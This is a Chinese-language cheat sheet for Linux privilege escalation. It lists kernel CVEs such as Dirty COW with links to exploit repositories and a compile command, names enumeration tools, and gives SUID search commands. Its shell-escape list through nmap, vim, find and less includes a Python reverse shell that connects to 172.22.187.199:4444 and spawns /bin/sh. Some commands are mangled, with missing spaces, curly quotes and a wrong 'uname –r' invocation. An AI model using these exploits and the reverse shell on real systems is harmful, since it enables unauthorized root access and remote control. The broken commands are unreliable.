linux提权

1.CVE-2015-1328

存在于Ubuntu 12.04、14.04、14.10、15.04版本中
我复现该漏洞所使用镜像为 Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic x86_64)

2.CVE-2016-5195(脏牛)

Linux Kernel >2.6.22 每个linux发行版修复的版本不同

https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt

3.CVE-2017-16995

Linux kernel versions 4.4 ~ 4.14

Ubuntu版本:16.04.01~ 16.04.04

https://github.com/RealBearcat/CVE-2017-16995

4.CVE-2018-18955

Linux kernel 4.15.x through 4.19.x before 4.19.2

sudo apt-get install uidmap

https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955

5.CVE-2018-1000001

glibc <= 2.26

//查看版本
ldd --version

https://github.com/0x00-0x00/CVE-2018-1000001

6.CVE-2019-13272

Linux Kernel 4.10 < 5.1.17 该漏洞依赖桌面环境

https://github.com/jas502n/CVE-2019-13272

7.信息检测

git clone https://github.com/rebootuser/LinEnum.git

你就可以在终端中通过键入./LinEnum.sh来运行它。之后它将转储所有获取的数据和系统详细信息

8.目录权限

枚举系统配置以及执行一些提升权限的检查。

https://github.com/sleventyeleven/linuxprivchecker.git

9.内核提权

Linux Exploit Suggester

它基于操作系统的内核版本号。这个程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。

此外它还提供了一个“-k”参数用以指定内核版本。与上面介绍的不同,它是一个Perl脚本。可使用以下命令下载这个脚本。

git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git
如果你知道内核版本号就可以在终端中直接键入下列命令:
./Linux_Exploit_Suggester.pl -k 3.5

如果不知道就键入
./Linux_Exploit_Suggester.pl uname –r

来获得内核版本号,然后使用上一条命令并把版本号替换成你自己的。

10.配置错误用以为非授权用户提升权限

git clone https://github.com/pentestmonkey/unix-privesc-check.git

https://github.com/pentestmonkey/unix-privesc-check/tree/1_x

//开始执行
unix-privesc-check standard
unix-privesc-check detailed

11.suid提权

查找可以suid提权的文件

find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
  • nmapnmap -interactive !sh
  • vimvim.tiny # Press ESC key :set shell=/bin/sh :shell
  • findsudo find . -exec /bin/sh \; -quit find pentestlab -exec whoami \; //python反弹shell: python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.22.187.199”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ 或者写入文件: import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((“172.22.187.199”,4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call([“/bin/sh”,”-i”])
  • bash
  • more
  • less//Less和More都执行以用来提权。 less /etc/passwd !/bin/sh
  • nano
  • cp

12.劫持环境变量

next